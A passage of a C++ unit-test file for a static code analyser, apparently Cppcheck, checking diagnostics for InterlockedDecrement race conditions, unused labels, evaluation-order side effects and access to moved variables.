\" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = 